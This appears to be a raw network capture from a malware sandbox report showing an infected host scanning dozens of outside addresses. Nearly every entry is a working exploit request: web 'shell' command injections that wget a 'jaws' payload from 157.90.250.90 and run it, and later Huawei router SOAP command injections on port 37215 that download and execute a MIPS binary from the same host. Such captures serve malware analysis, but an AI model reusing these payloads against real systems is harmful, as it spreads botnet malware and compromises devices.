Dec 3, 2024 21:47:21.317545891 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	33942	216.31.9.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.336812973 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	33110	195.237.101.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.339600086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	49630	178.191.122.247	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.346302032 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.13	36698	20.48.106.239	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.359323025 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.13	53646	39.25.202.96	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.365937948 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.13	49960	49.116.20.105	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.545468092 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.13	50012	14.244.19.249	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.192461014 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.13	49640	217.9.92.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.193381071 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.13	58998	206.17.226.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.194029093 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.13	38200	87.2.29.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.194633007 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.13	40994	187.198.156.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.195256948 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.13	51636	151.199.164.101	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.195897102 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.13	43924	165.66.103.50	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.196532011 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.13	36782	49.175.230.209	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.197259903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.13	46660	167.129.209.249	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.197945118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.13	32908	84.115.17.222	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.198649883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	49652	87.46.134.230	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.199505091 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	53878	89.9.140.26	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.200114012 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	37870	94.2.223.202	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.200771093 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	57134	135.22.204.152	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.201375961 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	55974	101.1.73.203	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.202002048 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	52804	208.91.209.54	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.202609062 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	33126	39.103.0.196	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.203214884 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	51386	219.115.34.124	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.203818083 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	56618	128.218.148.72	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.204437017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	36910	116.147.27.49	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.205044985 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	47884	194.185.115.18	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.253484964 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	34402	199.178.250.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.254288912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	36192	92.165.190.29	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.254926920 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	55108	192.180.184.188	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.349069118 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	49614	162.238.108.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.350215912 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	59948	153.34.197.25	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.436045885 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	43240	67.29.205.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.436877012 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	49900	34.130.229.114	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.437561035 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	54060	166.93.74.106	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.438245058 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	32946	197.132.25.178	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.438905954 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	51976	194.47.94.45	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:22.439487934 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	39226	190.171.181.209	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.274880886 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	48124	173.99.172.238	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.275511026 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	35812	216.217.165.253	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.276125908 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	34238	156.157.158.180	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.288095951 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	59828	197.89.191.125	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.366271973 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	56148	41.151.149.109	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.375757933 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	46186	197.51.35.142	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:24.383773088 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data 